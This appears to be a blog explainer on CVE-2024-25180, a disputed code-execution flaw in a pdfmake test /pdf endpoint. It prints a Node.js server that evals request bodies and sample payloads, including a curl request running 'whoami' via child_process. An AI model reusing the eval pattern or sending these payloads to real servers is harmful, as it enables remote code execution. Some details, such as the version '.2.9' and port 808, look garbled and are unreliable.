Summary:
A security issue, labeled as CVE-2024-25180, was discovered in pdfmake version .2.9. The vulnerability allows a remote attacker to execute arbitrary code by sending a specially-crafted POST request to the /pdf endpoint. However, some experts argue that this is not truly a vulnerability, as this endpoint is part of a separate test framework and is not present in production unless manually installed.

Let’s break down the facts, see the exploit in action, and understand whether you’re actually at risk.

What is pdfmake?

pdfmake is a popular JavaScript PDF generation library, often used for creating dynamic PDFs in Node.js and browser environments. By itself, pdfmake does not come with a /pdf HTTP endpoint.

Origin of CVE-2024-25180

- Reported Issue: If you POST crafted input to /pdf on a server running pdfmake .2.9 (with the test framework installed), you can make the server run any code you want.
- Main Cause: The /pdf endpoint, intended for testing, evaluates incoming JavaScript from requests—classic "eval" trouble.

Official CVE Details:

CVE-2024-25180 at NVD
GitHub Issue Discussion

How Does the Exploit Work?

The /pdf endpoint listens for POST requests where the body contains a JSON object representing the PDF document definition. In test mode, it dangerously evaluates this object.

Suppose you run a Node.js server with the pdfmake test harness, exposing /pdf

// WARNING: This is for demonstration; DO NOT use in production.
const http = require('http');
const pdfmake = require('pdfmake');
const { VM } = require('vm2');   // Used for sandboxing in a secure setup

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/pdf') {
    let body = '';
    req.on('data', chunk => body += chunk);
    req.on('end', () => {
      // Danger zone:
      const definition = eval('(' + body + ')');  // <- Arbitrary JS code
      // ...generate PDF
      res.end('PDF created!');
    });
  } else {
    res.writeHead(404);
    res.end();
  }
}).listen(808);

If someone sends this POST request

{
  "content": "Hello, world!",
  "toString": "function() { require('child_process').exec('ls /', (err, stdout, stderr) => { require('fs').writeFileSync('/tmp/list.txt', stdout); }); return 'malicious'; }"
}

And the eval() statement processes it, arbitrary code gets executed—in this case, listing server directories, writing output to /tmp/list.txt.

Using curl

curl -X POST http://target-server:808/pdf \
  -d '{"toString":"function() { require(\"child_process\").exec(\"whoami | tee /tmp/hacked.txt\"); return \"hacked\"; }"}' \
  -H 'Content-Type: application/json'

This could create a /tmp/hacked.txt file with the output of whoami.

The facts

- The /pdf endpoint is not part of pdfmake's normal library.

It comes from a _test server_ sometimes used for developer demonstrations.

- If you add and expose it to the public, you did this yourself; pdfmake never told you to do that in production!

The behavior is intentional: it’s meant for trusted internal testers or developers.

From the official pdfmake response:
> “This code exists only for demo and testing, and is not bundled in the production pdfmake package. Any use in a production environment is discouraged.”

Implications: Should You Worry?

- If you did NOT manually install the test server: You’re safe. pdfmake in production does not include /pdf.
- If you are running a public /pdf endpoint from the demo/test package: You’re at risk! Anyone can send arbitrary code for your server to execute.
- Best Practice: Never expose test/development endpoints to the internet.

Never trust input to eval() or similar functions from untrusted users.

4. Upgrade if possible: Always use the latest package, and review test/demo code for security.

- NVD Entry: CVE-2024-25180
- pdfmake GitHub Issue #3498
- pdfmake documentation
- OWASP: Code Injection

Conclusion

CVE-2024-25180 demonstrates that sometimes, security "vulnerabilities" aren’t simple. This is a case where dangerous code is only enabled if someone sets it up that way. As a rule, do not expose test endpoints to the public, and never run code from untrusted sources.
If you’re simply using pdfmake to generate PDFs in your app, this CVE does NOT affect you.

Be cautious, review your setup, and you’ll be safe.

Exclusive tip:
Whenever you add a new package or demo code, search your codebase for HTTP handlers like /pdf or eval() statements before going live. Disabling or removing development-only code is the easiest way to avoid unexpected risks like this one!

Timeline

Published on: 02/29/2024 18:15:16 UTC
Last modified on: 08/26/2024 20:35:12 UTC